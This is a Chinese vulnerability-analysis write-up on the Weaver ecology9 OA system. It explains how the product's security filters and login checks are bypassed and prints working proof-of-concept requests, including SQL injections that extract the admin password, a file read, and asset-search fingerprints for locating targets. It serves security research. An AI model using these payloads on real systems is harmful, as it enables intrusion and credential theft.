前言
本文基于9.00.210804 v10.42版本分析
泛微ecology9(以下简称e9)的安全补丁生效逻辑较为复杂,在多处进行了过滤,导致一开始分析复现漏洞时,很容易出现“为什么这个URL这么写就能绕过了?”的问题。
此外,e9的漏洞路由也有几类,每一类的鉴权与过滤又稍有不同,导致对于新手来说,更加迷糊了。
所以本文的目标,是从我自己的视角,记录一下当时是如何从一脸茫然,到若有所思的过程,希望让读者能够触类旁通,掌握e9漏洞的分析方法。
本人对e9的分析积淀并不多,故文章中难免出现谬误,希望各位师傅理解。
环境搭建
版本信息如下:


安装包依旧是从某鱼上收,搭建的背景是Windows11+mysql8.0.20,e9也支持其他类型的数据库,可以自行选择。一般会给安装手册,跟着做就行。
mysql最好选择8.0.20,因为之前直接用phpstudy自带的8.0.12时,似乎数据库初始化会失败。
另外,一定记得修改my.ini(安装手册里写了):

数据库初始化很久,中间可能卡在某个进度(我这儿是67%左右),耐心等一等,半个多小时应该就好了。
证书激活相关的,收到的链接里应该会给。
安装好的结构大致如下:

ecology为主目录,存放项目源码。
JDK是自己选择的JDK路径。
Resin是中间件目录,里面存放了启动脚本。
默认安装会在windows服务中自动添加resin服务:

初始状态是“自动”,建议改成手动,自己去Resin目录启动,这样能看到控制台输出。
添加一下远程调试参数:
\Resin\conf\resin.properties

启动脚本为:\Resin\resinstart.bat
双击启动后,出现以下内容就是启动好了:
访问http://ip:port后,如果跳出数据库初始页面,就是安装好了。
其他问题:

接下来建idea(我这里2025.3.1版本)
直接用idea打开ecology目录。等待项目索引完成。
然后按住ctrl,依次单击以下目录:

全部选中后右击,在弹出框里选择添加到库。这里一定要这么添加,直接到项目结构里去加就不行,会导致分析不到jar,很奇怪就。
其他的一些依赖目录就可以直接去项目结构里添加了,如下:



搞完后,到com.caucho.server.http.HttpRequest#handleRequest上打个断点能断下来,远程调试就没问题了。
另外,weaver.security.filter.SecurityMain#process方法有时候会反编译失败,这里建议去idea64.exe.vmoptions增加idea的内存,然后把所有打开的类都关掉,重启idea,最先打开SecurityMain去反编译一下。
环境搭建大概就是这些东西。
分析前置工作
我分析新系统时,一般会把网上能找到的文章都列出来,并都快速浏览一遍,对整体建立起一个初步印象。
当时收集到的文章已经全部放到末尾的“附录”和“参考”。
其中最重要的是 https://github.com/ax1sX/SecurityList/blob/main/Java_OA/EcologyAudit.md
里面有前人整理好的审计文档。
从里面知道了泛微的路由特点:
/weaver/*
/*.jsp
/services/*
/api/*
/*.do
后面分析时,自己又加了一个:/dwr/*
主要过滤类(SecurityFilter、SecurityMain)和安全策略文件(WEB-INF/myclasses/weaver/security/rules/ruleImp,WEB-INF/securityRule)
安全策略生效特征:

历史补丁URL:

当然,除了网上的文章,web.xml这种经典配置文件也是需要过一遍的。
测绘指纹
Fofa:app=”泛微-协同商务系统”
hunter:app.name==”泛微 e-cology 9.0 OA”
X社区:app=”泛微-E-cology”
FileDownloadLocation文件读取
漏洞分析
为什么第一个选这个漏洞?因为https://github.com/R4gd0ll/I-Wanna-Get-All里扫出来了,而且文件读取比较容易验证。

设置一下代理,抓包看一下poc:

1 | GET /weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp/x.FileDownloadLocation?ddcode=7ea7ef3c41d67297&downfiletype=eml&download=1&mailId=1123+union+select+*+from+(select+1+as+resourceid,'../ecology/WEB-INF/prop/mobilemode.properties'+as+x2,'3'+as+x3,(select++*+from+(select+*+from+(select+password+from+HrmResourceManager+where+id=1)x)x)+as+x4,5+as+x5,6+as+x6)x+where+1=1&mailid=action.WorkflowFnaEffectNew&parentid=0 |
能够看到,是/weaver/*类接口。所以后面的weaver.email.FileDownloadLocation直接对应利用类。
/login/LoginSSOxjsp/x.FileDownloadLocation会对应到weaver.email.FileDownloadLocation这个servlet里的路径,一般不会参与方法调用:

../ecology/WEB-INF/prop/mobilemode.properties明显对应的文件路径,另外还执行了select+password+from+HrmResourceManager+where+id=1,这个在数据库中对应的是管理员密码:

能发现对应的password在响应头content-disposition的filename里出现了。
ok,现在直接去weaver.email.FileDownloadLocation打断点,只看这个漏洞的原因,不去关注前面的doFilter:

这里的ddcode参数会经过DES解密,把_前面的数字提取出来,作为User的Id。这里var3必须有值,不然会重定向到登录页面,所以这里让var23为1,因为User(1)对应的是管理员,一定存在。DesUtils里的密钥是硬编码的,因此可以自行构造:


接着往下,跟进downloadEml:


执行的sql语句最后为:
1 | select haseml, emlpath, emlName, subject, folderid, id from MailResource where id = 1123 union select * from (select 1 as resourceid,'../ecology/WEB-INF/prop/mobilemode.properties' as x2,'3' as x3,(select * from (select * from (select password from HrmResourceManager where id=1)x)x) as x4,5 as x5,6 as x6)x where 1=1 and ((resourceid in (1))) |

这里让emlpath和../ecology/WEB-INF/prop/mobilemode.properties对应,
subject和(select * from (select * from (select password from HrmResourceManager where id=1)x)x)对应
subject会通过setFilename设置,emlpath会通过setFilerealpath设置,然后跟进singleDownload:

这里变量乱了,不过能看出来是把subject设置到请求头,然后根据emlpath读文件,并写入请求体。这就是这个漏洞的原理。
SQL变形分析
URL中为什么要有/login/LoginSSOxjsp/x.FileDownloadLocation?知道大概率是用来绕过的,但是为什么这样能绕过?
我先把这一段去掉了,只留下/weaver/weaver.email.FileDownloadLocation,发起请求,发现到不了doGet,重定向到login了:

/weaver/weaver.email.FileDownloadLocation/logi,重定向到login了。
/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp,能够正常利用。
/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjs,能够到doGet,但是发现传入的sql语句变形了:


/weaver/weaver.email.FileDownloadLocation/login,跟上面的情况一样,能doGet,但sql变形。
/weaver/weaver.email.FileDownloadLocation/LoginSSOxjsp,同上。
通过上面的一系列灰盒测试,能够知道,上面的URL有两个作用,一是绕过登录,二是防止sql变形。
不过,上面所有的响应中,都没有出现errorMsg: securityIntercept,说明安全策略并没有生效,而是其他的代码导致了利用失败。
我的思路是,从doGet往前找,通过var1.getParameter(“mailId”),观察哪里的sql最先变形。
发现weaver.security.webcontainer.XssRequestForWeblogic#doFilter里的还正常,但是到下一个filter就变形了:

但是中间没看到任何处理sql语句的代码,到底是怎么回事?但现在已经排除了其他可能性了,问题一定在weaver.security.webcontainer.XssRequestForWeblogic#doFilter,所以又仔细看了一下:


发现chain.doFilter时,传入的req竟然发生了变化,得好好看看这个weaver.security.webcontainer.XssRequestWeblogic:

能够发现,getParameter通过if去判断了是否需要用htmlFilter进行过滤。一开始都没关注这个XssRequestWeblogic,想当然以为是处理Xss和Weblogic的,跟sql能有什么关系。
到这里其实思路就很明晰了,前面的/login/LoginSSOxjsp,大概率是用来阻止进入过滤的。
跟进weaver.security.core.SecurityCore#isXssFilter看一下:

这里会遍历xssList里的接口,与实际访问的path进行matches,match到就put进xssPathMap,然后返回result(默认是false)。返回false时,就不会进行过滤。
xssList里有/login/LoginSSO.jsp,而 . 在matches里被当作任意字符,所以可以通过/login/LoginSSOxjsp去匹配成功,从而绕过过滤。
如果不满足,就会进行HTMLFilter进行过滤:
在这里会对union select等危险字符进行全角化处理。


所有规则:

ok,到这里就知道为什么sql会变形了,也知道了泛微e9会对所有通过getParameter取出的参数都进行过滤。
对了,为什么不直接写/login/LoginSSO.jsp?

.jsp是会被安全规则拦截的,具体为什么,后面再分析。
登录绕过分析
上面分析了为什么能实现sql绕过,但是还有个登录重定向为什么能绕过没分析。
请求/weaver/weaver.email.FileDownloadLocation
我这里的思路是尽可能在后面打断点,看最终会在哪里跳出。
我们知道主要的安全逻辑在weaver.security.filter.SecurityMain#process,而下一个调用栈是weaver.security.webcontainer.XssRequestForWeblogic#doFilter,所以在这两个方法断点。
发现能断到SecurityMain,但是XssRequestForWeblogic不行,所以确定到登录逻辑在process方法。
最终确定到:

再请求/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp:

发现isLogin变化,去找isLogin的赋值代码:

跟进isLogin:

第一种,可以在这个if时不进入,就直接返回true了。
isLoginCheck控制不了:

isCheckCookieIpUrl:



1 | (\.gif|\.jpg|\.jpeg|\.png|\.js|\.css|\.html|\.htm|\.swf|\.cur|\.flv|\.avi|\.wma|\.wmv|\.mp3|\.mp4|\.3gp|\.zip|\.rar|\.rtf|\.doc|\.ico|\.exe|\.msi|\.xml|\.map)$ |
所以只要URL出现这些字段,就可以直接返回true。
这里直接试试.js吧,目标是只要进到doGet就成功:

然而,被安全策略拦截了。
还是一样的调试策略,一直打断点,直到断不下来,通过二分去快速定位到是在哪里跳出的,定位到:

能发现,如果这里判断是静态文件(path结尾为.jsp等),且路径中以/api/开头,或有messageservlet,或有/weaver/,或有weaver. 都会导致进入errorRedirect。这其实不算严格意思上的安全策略,只是单独做了一个全局的判断。这也回答了上一节最后的问题,因为jsp也在列表中(真的是这个原因吗?)。
但是,process方法里的静态文件列表,和刚刚看的isLogin里的是有区别的,比如.mp4,就不存在于process里,但存在于isLogin里,所以可以通过.mp4访问到doGet:

上面讲的只是isLogin中的一种绕过。而原poc是在这里绕过的:

只要path里有login,就返回true。
其他的方法可以问AI,或者遇到在看:

安全策略生效点一
不过这里其实还有一个问题,为什么/weaver/weaver.email.FileDownloadLocation/login/LoginSSO.jsp/111不行?按照上面的分析,process里的静态文件判定只看路径末尾是不是.jsp之类的,再加一个理论上应该能通过,进而访问到doGet才对,然而实际情况不是这样的:

依旧被安全策略拦截,而且断点没到静态文件判断那里。
所以肯定是在process的更前面被拦截了。最终发现是在这里:


这里前面会做一些固定规则的校验,在weaver.security.rules.ruleImp.SecurityRuleFileAlaPoc#validate会拦截上面的请求:


这里如果.jsp后面还有/,就会拦截。这就是为什么.jsp/111到不了doGet的原因。
小结
1、XssRequestWeblogic会通过getParameter对参数做全局过滤
2、isLogin方法得绕过返回true
3、this.executeCustomRules会生效部分安全策略
4、/weaver/* 的路由逻辑
XmlRpcServlet文件读取
漏洞分析
https://blog.csdn.net/qq_36618918/article/details/135104295
1 | POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet |
也是一个/weaver路由的漏洞,但是已经修复了,看看怎么修复的。
能发现是从这里跳出的:


这里的165,实际对应的就是\WEB-INF\myclasses\weaver\security\rules\ruleImp里的165个.class文件:

我们知道最后肯定返回false,所以直接在下面打断点:

再返回去看是哪条规则:


weaver.security.rules.ruleImp.SecurityRuleHttpServlet#validate会判断调用的类是否是weaver包里的,不是就判断为攻击。所以所有第三方包里的servlet类都用不了了。
process里的sc.executeCustomRules,实际上就是第二个安全策略生效点。
安全策略生效点主要就是上面讲的那两个。
小结
1、process方法里的sc.executeCustomRules为第二处安全策略生效点,会遍历\WEB-INF\myclasses\weaver\security\rules\ruleImp里的所有类的validate方法。
/api/doc/out/more/list SQL注入
从这个漏洞来看一下/api/*接口的路由逻辑。
/api/*系列接口,\WEB-INF\Api.xls里有接口和类方法的对应表,但是并不完整。比如这个漏洞的接口就没有,所以还是需要自己把\classbean\com去jadx反编译,然后搜索。
其实我一开始并没有去看/api接口的鉴权类,直到复现其他api接口的漏洞,发现无法触发方法时,才想到去web.xml里看是不是有api接口专属的filter做鉴权。
漏洞复现
1 | GET /api/doc/out/more/list?isNew=1&elementmore=%7B%22srcType%22%3A%20%222%22%2C%20%22srcContent%22%3A%20%22%2A%2F%3D%28%28-1%22%2C%20%22perpage%22%3A%20%2210%22%7D&docarchivedatefrom=a%27OR-1%2F%2Aa&doccreatedatefrom=%2A%2F%3D%28%2F%2Aa&doclastmoddatefrom=%2A%2FSELECT-3%2Blocate%2F%2A&docarchivedateto=%2A%2F%28hex%28SUBSTRING%28%2F%2A&doccreatedateto=%2A%2Floginid%2C1%2C1%29%29%2C%27073%27%29%20%2F%2A&doclastmoddateto=%2A%2Ffrom%20HrmResourceManager%20limit%200%2C1%29%20OR-1%2F%2A |
记录返回包中的sessionKey:

带着sessionKey再去发包,响应中的count大于0即盲注成功。
1 | POST /api/ec/dev/table/counts |

要注入下一个字符或注入的字段,改doccreatedateto参数
doccreatedateto=/loginid,1,1)),’073’) /
要改注入的表,改doclastmoddateto参数
doclastmoddateto=/from HrmResourceManager limit 0,1) OR-1/
漏洞分析
漏洞整体流程比较复杂,只简单讲一下。
com.api.doc.search.web.DocOutMoreAction#getDataList:

DocListUtil会对传入的各个参数进行提取并拼接成sqlwhere,getMoreList会进一步拼接sql语句,最终产生一个xml模板,并与sessionKey关联。
这里会形成好sql语句。接下来是找地方触发,就是第二个请求包。
这里直接贴出最后执行的语句:
1 | select count(*) from (select t1.id,t1.id docstatus_id,t1.seccategory,t1.docvestin,t1.doclastmoddate,t1.doclastmodtime,t1.docsubject,t1.docextendname,t1.doccreaterid,t1.secretLevel,t1.usertype,t1.ownerid,t1.docstatus,t1.doccreatedate,t1.doccreatetime,t1.accessorycount,t1.replaydoccount,t1.sumDownload,t1.sumReadCount,t1.sumMark,t1.docpubdate,t1.docpubtime,t1.docapprovedate,t1.docapprovetime from DocDetail t1 where docarchivedate>='a'OR-1/*a' and doccreatedate >= '*/=(/*a' and doclastmoddate >= '*/SELECT-3+locate/*' and docarchivedate<='*/(hex(SUBSTRING(/*' and doccreatedate <= '*/loginid,1,1)),'073') /*' and doclastmoddate <= '*/from HrmResourceManager limit 0,1) OR-1/*' and t1.docstatus in(1,2,5) and (t1.ishistory is null or t1.ishistory = 0) and (t1.isreply is null or t1.isreply='' or t1.isreply='0') and (t1.seccategory in (*/=((-1)) and t1.docpublishtype='2' ) `list` |

这里能看出就是通过or去做一个布尔盲注,当loginid字段的第一个字符的hex为0x73时,or后面条件成立,就能正常返回数据,count就是大于零的。
具体比较复杂,自己也没看太懂,大家可以自行分析。
SessionFilter
看一下web.xml:

com.cloudstore.dev.api.service.SessionFilter会拦截所有/api/*


在未登录的情况下,主要根据checkUrl、uncheckUrl、uncheckSessionUrl进行判断。
这三个变量的初始化:



注意,这里weaver.general.BaseBean#getPropValue,都是从WEB-INF/prop下直接取对应文件。
所以,只有uncheck系列的接口是前台攻击面。
小结
1、/api/*需要注意SessionFilter,放行白名单在/prop配置文件中
2、/api/*对应的class在/classbean/com中,WEB-INF/Api.xls中有部分的对应关系
/services/WorkPlanService SQL注入
这是一个/services接口的漏洞。
这里需要先行了解一下WSDL和SOAP的知识,可以看:
https://mp.weixin.qq.com/s/l4BH7B7pHl1HIi4vJYeOUQ
漏洞复现
1 | POST /services/WorkPlanService |
这里推荐用yakit,bp发包我遇到了问题:

这里漏洞比较简单,对应weaver.WorkPlan.webservices.WorkplanServiceImpl#deleteWorkPlan,就不分析了。
webservice接口分析
说在开头,webservice服务默认情况下只能内网访问:

默认是开启安全验证的,而且不会配置白名单。
可以通过/services?wsdl直接列出所有的可用服务:

也可以去\classbean\META-INF\xfire\services.xml里看。
services相关接口主要受安全策略影响,具体情况具体分析即可。
小结
1、/services接口的服务类,在\classbean\META-INF\xfire\services.xml中查看
2、/services接口默认只能内网访问
/dwr/call/plaincall/ 前台绕过
这个漏洞的全利用过程很复杂,大家可以直接看前人的文章:
https://xz.aliyun.com/news/18849
这里只选择第一步分析,主要目标是看/dwr/*这类接口的路由逻辑。
漏洞复现
1 | POST /dwr/call/plaincall/WorkflowSubwfSetUtil.LoadTemplateProp.dwr |

这里的重点是,Content-Type: text/plain。
c0-scriptName=WorkflowSubwfSetUtil为要调用的类,c0-methodName=LoadTemplateProp为调用的方法,c0-param0=string:mobilemode为参数。
所以这个包的作用就是调用WorkflowSubwfSetUtil#LoadTemplateProp,实则调用父类的LoadTemplateProp方法。
/dwr/*路由逻辑分析
这里的思路是直接在WorkflowSubwfSetUtil#LoadTemplateProp,然后往前看调用栈。

看到DwrServlet处理,就想到应该是web.xml里配的规则:

继续往后看调用栈:


calls里已经解析出对应的method了,所以应该去看前面marshaller的部分,这样才能知道能够调用哪些方法。
不过在这儿之前,先问问AI dwr是什么。
DWR 是 Direct Web Remoting 的缩写,是一个 Java Web 框架/组件,主要作用是:
让浏览器端的 JavaScript 可以像调用本地 JS 函数一样,直接调用服务器端的 Java 方法。
这个功能很熟悉,就是调用特定类的特定方法,很多漏洞都是因此产生的。
再简单看一下请求体里的各个参数:


回到代码,跟进org.directwebremoting.dwrp.BaseCallMarshaller#marshallInbound:


1 | weaver.docs.docs.DocCheckInOutUtil |
这些类的方法都可以调用,都是潜在攻击面。(然而稍微新一点的版本里的SQL注入点全没了,而且大部分需要携带有效session才能真正调用)
不过拿到方法后,还会做校验:

最好自己跟进看一下,会清楚很多。
总结一下部分规则。
只有public方法可调用。
有些类只能调用特定方法:

类和方法参数类型不能以org.directwebremoting.开头:

小结
1、/dwr/*能够调用的类方法有哪些(dwr路由逻辑)
browser.jsp SQL注入
这类漏洞都是直接访问jsp,要过滤的话基本都是在class安全策略里。具体漏洞具体分析,这里以browser.jsp SQL注入漏洞为例。
漏洞复现
1 | GET /mobile/%20/plugin/browser.jsp?isDis=1&browserTypeId=269&keyword=%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%38%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%35%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%38%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%30%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%38%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%34%25%32%35%25%33%35%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%34%25%36%34%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%37%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%33%38%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%39%25%32%35%25%33%36%25%36%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%35%25%36%36%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%37%25%33%32%25%32%35%25%33%32%25%33%33 |
axa%’ union select 1,(select password from HrmResourceManager where id=1))my_table)r#
最终执行的语句:
1 | select r.* from (select my_table.* from (select distinct t1.id as id,t1.name as name from meeting_remind_type t1 where isuse=1 and t1.name like '%axa%' union select 1,(select password from HrmResourceManager where id=1))my_table)r# '%' order by t1.id desc) my_table limit 0,10) r |
三次URL编码
中间件自动一次。
jsp里一次:

java方法中一次:

漏洞分析
browser.jsp:


isDir必须是1,不然会请求转发到/mobile/plugin/dialog.jsp
keyword和browserTypeId都会设置到BrowserAction,最终调用weaver.mobile.webservices.common.BrowserAction#getBrowserData:

browserTypeId=269是为了进入对应的if,这个if执行的方法,返回的数据内容最为完整,跟进:

很多文章说sql注入点在上面的var1.executeSql(var2); 但我感觉不太对,因为虽然能够实现延时注入,但并不能直接回显执行结果。真正的注入点应该继续跟进下面的getLimitPageData:

最终是在这里执行并取结果:
weaver.general.SplitPageUtil#getCurrentPageRs(int, int)

绕过分析
URL中的%20为什么能绕过?
有两个原因:
1、resin能自动忽略%20
2、安全策略中没有对%20进行拦截
先看resin为什么能自己忽略%20,这里我们不去看resin处理path的具体逻辑,而是通过调试执行表达式快速判断:

可以看到getRequestURI的结果是带有%20,而getServletPath的结果没有%20,resin真正接受到的是getServletPath,故会自动忽略掉%20
再看%20为什么能绕过安全策略,这里不加%20,能发现会在weaver.security.rules.ruleImp.SecurityRuleMobile29被拦截:

path处理后变成/mobile//plugin/browser.jsp,不会匹配上mobile-need-login-urls,直接放行。同时其他的安全规则也没有拦截//的,所以能够绕过。
小结
.jsp类的路径,一般会通过安全规则过滤,所以得具体情况具体分析了,没有太多通用思路。
*.do
这类路由暂时没遇到过。
SecurityMain
再回头来总结一下SecurityMain里的要点。
安全过滤的主要类,其process方法会在SecrityFilter被反射调用:

实际安全逻辑在SecurityMain#process,里面有两个executeCustomRules方法,会调用安全规则过滤,一个是this.executeCustomRules,还有一个是SecurityCore.executeCustomRules:


this里的会先遍历固定的几个安全规则,然后对URL路径校验:


SecurityCore会遍历所有RuleClass的validate方法:

RuleClass位于WEB-INF\myclasses\weaver\security\rules\ruleImp
之后还有一个isLogin,判断当前访问路径是否能在未登录的情况下访问:

不展开了,可以直接问AI,或具体情况具体分析。
1day分析思路
从官网下载最新的增量补丁,看\WEB-INF\myclasses\weaver\security\rules\ruleImp里新增了哪些类就行。或者对比最近的两个全量补丁。新增类中大概率会有漏洞路径。
总结
这里知道了:
1、weaver.security.webcontainer.XssRequestWeblogic会通过getParameter等对GET或POST参数进行过滤
2、SecurityMain:两个executeCustomRules会生效安全策略;isLogin方法得绕过返回true
3、/weaver/* 的路由逻辑
4、/api/*的路由逻辑
5、/services/*的路由逻辑
6、/dwr/*的路由逻辑
还有一些比较经典的漏洞没有分析,都放在参考文章里了,经过上面的学习,大家可以尝试自行分析。
附录
https://e-cloudstore.com/doc.html?appId=84e77d7890a14c439590b37707251859 Jersey接口(/api/*)
https://e-cloudstore.com/ec/api/applist/index.html#/ 后端接口文档
https://e-cloudstore.com/e9/file/E9BackendDdevelopmentGuide.pdf
https://www.weaver.com.cn/cs/securityDownload.html?src=cn 安全补丁
https://web.archive.org/web/20230511234043/https://www.weaver.com.cn/cs/securityDownload.html# 安全补丁老页面
https://e-cloudstore.com/e9/index3.html 开放文档
https://www.weaver.com.cn/cs/security/edm20250704_opiurutjvmopimdwytdc.html 安全邮件
参考
https://github.com/ax1sX/SecurityList/blob/main/Java_OA/EcologyAudit.md 整体梳理
https://github.com/eeeeeeeeee-code/POC 各种POC
https://y4tacker.github.io/2025/07/09/year/2025/07/%E5%A6%82%E4%BD%95%E4%BB%8E%E7%81%B0%E7%9B%92%E8%A7%92%E5%BA%A6%E5%BF%AB%E9%80%9F%E5%A4%8D%E7%8E%B0Weaver-SQL%E6%B3%A8%E5%85%A5/ 方法论+/api/doc/out/more/list SQL注入
https://mp.weixin.qq.com/s/2BVjH31Zy6re8a4cB8p3JA 历史RCE
https://mp.weixin.qq.com/s/Ici5AObKdigpKjL1kMVN8w JDBC
https://jeva.cc/2872.html uploaderOperate.jsp+OfficeServer文件上传
https://jeva.cc/2818.html /api/cpt/inventory/docptimpoptinventory 文件上传
https://blog.csdn.net/qq_36618918/article/details/135104295 XmlRpcServlet文件读取
https://0xf4n9x.github.io/weaver-ecology9-changeuserinfo-ofslogin.html changeUserInfo信息泄漏及ofsLogin任意用户登录
https://xz.aliyun.com/news/90940 后台JDBC RCE
https://xz.aliyun.com/news/15082 browser.jsp 鉴权绕过+SQL注入
https://xz.aliyun.com/news/14839 鉴权绕过+后台JDBC RCE e10的
https://xz.aliyun.com/news/18849 /dwr/call/plaincall鉴权绕过+RCE
https://xz.aliyun.com/news/14777 WorkPlanService SQL注入
https://xz.aliyun.com/news/12974 bsh+xstream老漏洞+resin内存马
https://xz.aliyun.com/news/11393 getInterfaceRegisterCustomOperation后台RCE
https://xz.aliyun.com/news/8016 https://xz.aliyun.com/news/6135 /mobile/WorkflowCenterTreeData.jsp + /mobile/plugin/SyncUserInfo.jsp SQL注入 19年的了很老